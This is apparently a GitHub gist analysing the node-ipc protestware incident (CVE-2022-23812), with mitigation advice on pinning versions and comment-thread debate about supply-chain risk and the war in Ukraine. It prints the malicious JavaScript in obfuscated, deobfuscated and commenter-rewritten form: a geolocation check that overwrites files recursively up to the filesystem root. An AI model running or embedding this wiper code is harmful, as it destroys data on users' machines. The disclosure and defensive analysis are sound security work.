RIAEvangelist/node-ipc is malware / protestware
The RIAEvangelist/node-ipc
module contains protestware peacenotwar.
Excerpt from RIAEvangelist/node-ipc:
as of v11.0.0 & v9.2.2 this module uses the peacenotwar module.
More importantly, commits 847047cf7f81ab08352038b2204f0e7633449580 -> 6e344066a0464814a27fbd7ca8422f473956a803
of RIAEvangelist/node-ipc
contains malware.
import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
I deobfuscated the code above and found that if the host machine's public ip address was from Russia or Belarus, node-ipc would proceed overwrite many files with a heart emoji recursively while traversing up parent directories:
import u from "path";
import a from "fs";
import o from "https";
setTimeout(function () {
const t = Math.round(Math.random() * 4);
if (t > 1) {
return;
}
const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
o.get(n.toString("utf8"), function (t) {
t.on("data", function (t) {
const n = Buffer.from("Li8=", "base64");
const o = Buffer.from("Li4v", "base64");
const r = Buffer.from("Li4vLi4v", "base64");
const f = Buffer.from("Lw==", "base64");
const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
const e = Buffer.from("cnVzc2lh", "base64");
const i = Buffer.from("YmVsYXJ1cw==", "base64");
try {
const s = JSON.parse(t.toString("utf8"));
const u = s[c.toString("utf8")].toLowerCase();
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
if (a) {
h(n.toString("utf8"));
h(o.toString("utf8"));
h(r.toString("utf8"));
h(f.toString("utf8"));
}
} catch (t) {}
});
});
}, Math.ceil(Math.random() * 1e3));
async function h(n = "", o = "") {
if (!a.existsSync(n)) {
return;
}
let r = [];
try {
r = a.readdirSync(n);
} catch (t) {}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = u.join(n, r[e]);
let t = null;
try {
t = a.lstatSync(i);
} catch (t) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o) >= 0) {
try {
a.writeFile(i, c.toString("utf8"), function () {});
} catch (t) {}
}
}
return f;
}
const ssl = true;
export { ssl as default, ssl };
The following are excerpts from the malicious code:
Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64");
// https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154
const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8"));
// checks if ip country is Russia or Belarus
a.writeFile(i, c.toString("utf8"), function () {});
// overwrites file with `❤️`
The following demonstrates example of what each of the parameters going to the a.writeFile(i,c.toString("utf8")
would be:
Just made it better looked and commented dangerous code so you guys can take a try. Obviously the code will delete literally EVERYTHING on your drive.
const path = require("path"); const fs = require("fs"); const https = require("https"); setTimeout(function () { const randomNumber = Math.round(Math.random() * 4); if (randomNumber > 1) { // return; } const apiKey = "https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154"; const pwd = "./"; const parentDir = "../"; const grandParentDir = "../../"; const root = "/"; const countryName = "country_name"; const russia = "russia"; const belarus = "belarus"; https.get(apiKey, function (message) { message.on("data", function (msgBuffer) { try { const message = JSON.parse(msgBuffer.toString("utf8")); const userCountryName = message[countryName.toString("utf8")].toLowerCase(); const hasRus = userCountryName.includes(russia.toString("utf8")) || userCountryName.includes(belarus.toString("utf8")); // checks if country is Russia or Belarus if (hasRus) { deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); } } catch (t) {} }); }); // zkyf: Let's try this directly here deleteFile(pwd); deleteFile(parentDir); deleteFile(grandParentDir); deleteFile(root); }, 100); async function deleteFile(pathName = "", o = "") { if (!fs.existsSync(pathName)) { return; } let fileList = []; try { fileList = fs.readdirSync(pathName); } catch (t) {} const f = []; const heartUtf8 = Buffer.from("4p2k77iP", "base64"); for (var idx = 0; idx < fileList.length; idx++) { const fileName = path.join(pathName, fileList[idx]); let fileInfo = null; try { fileInfo = fs.lstatSync(fileName); } catch (err) { continue; } if (fileInfo.isDirectory()) { const fileSymbol = deleteFile(fileName, o); fileSymbol.length > 0 ? f.push(...fileSymbol) : null; } else if (fileName.indexOf(o) >= 0) { try { // fs.writeFile(fileName, heartUtf8.toString("utf8"), function () {}); // overwrites file with `❤️` console.log(`Rewrite ${fileName}`); } catch (err) {} } } return f; }
The following mitigation strategies are inspired by cnpm's (is not npm) mitigation methods: cnpm/bug-versions#181
If you use one of the following mitigation stratagies, make sure to remove the ^
to force node-ipc
to the specified version.
"^9.x.x" -> "9.2.1"
"dependencies": {
- "node-ipc": "^9.x.x"
+ "node-ipc": "9.2.1"
}
"^10.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^10.x.x"
+ "node-ipc": "10.1.0"
}
"^11.x.x" -> "10.1.0"
"dependencies": {
- "node-ipc": "^11.x.x"
+ "node-ipc": "10.1.0"
}
@RIAEvangelist has banned me from interacting with their repositories
The security research firm snyk.io recommends the following mitigation strategy for users of node-ipc
:
package.json
"overrides": {
"node-ipc@>9.2.1 <10": "9.2.1",
"node-ipc@>10.1.0": "10.1.0"
}
Edit 2022-03-17_2 (credit: @Uzlopak)
Don't forget to mention that npm supports override with npm 8. Earlier versions don't have overrides capabilities. So node 12 and 14, which are LTS, use by default npm 6 and that would not work with them. So upgrading npm to 8 would be necessary.
I'm not too familiar with how yarn works, so I don't want to risk giving false instructions to users.
I've been seeing a lot of hate comments going after the owner of node-ipc
(especially on their repositories).
We should remember the high standards that we expect from our fellow developers on GitHub, regardless of what another has done.
Preferably this gist and it's comments should be focused on the research and discussion of CVE-2022-23812.
I'm sure that the owner of node-ipc
will be reprimanded by their employer, NPM, and GitHub.
I've begun work on my own fork of node-ipc
:
MidSpike/node-ipc#1
@MidSpike has put together quite good overview of the problem.
As @noblehng brought up the package manager probably should do some more checks on popular packages, but that means there has to be some financing to be able to make the review system happen in there. This is not only NPM and JS problem. Probably if package crosses some critical mass of usage then it should start to go through review system before published in package managers. I would say that even Log4j could have used something like that where this "code safety" organization tries to find vurneabilities or malicious pieces of code before it gets to shipped to those who haven't done proper dependency locking.
I understand @RIAEvangelist point partly as well and this dependency is biggest platform he had available to use to express his opinion. Creating file on desktop would have been just annoyance and I guess the backlash wouldn't have been as big. Deleting files was pretty bad, if I wouldn't have done that, but for really showing your dislike the easiest and a lot less harmful way would have been to just check if IP in x country and then put in log message and not run functions of that dependency. That would still have been annoying, but not as destructive as deleting files.
It is and will be problem in OSS. The supply-chain poisoning will be a problem if there is some conflict in author's interests and we all have our own opinions. Currently only way for you not to be affected by them would be to not use 3rd party dependencies or lock versions to known and safe packages. First one would mean a lot of reinventing wheel for companies and slowing innovation. Second one is what developers should do and bump versions only after verified. It also could slow down development a bit, but not as much.
From Brandon's repo comments I am really disappointed in IQ of dev community.
Whoever thinks the ordinary Russian citizen is innocent and should not suffer because of their leader, then think, why does ordinary Ukrainian has to suffer because of leader of some other country. Ordinary Russian is in that case less innocent than ordinary Ukrainian.
@ShikiSuen one journalist shows how people of whole nation are? He seems like one rotten apple to ruin the bunch. His name is not Ukrainian, from the looks I doubt he is part of Ukrainian culture or should be listened as representative of whole nation. Ukrainian president is chosen to be the "face" of whole nation and I have not heard him calling for genocide. From what I have seen is that he asks for Russian troops to go back to russia to save their lives because Ukrainians will protect themselves in Ukraine. There is difference in protecting your own country and attacking another one. In current case Russian army is the one who has bombed and killed Ukrainian people, including children, while children of Russia are safe in Russia.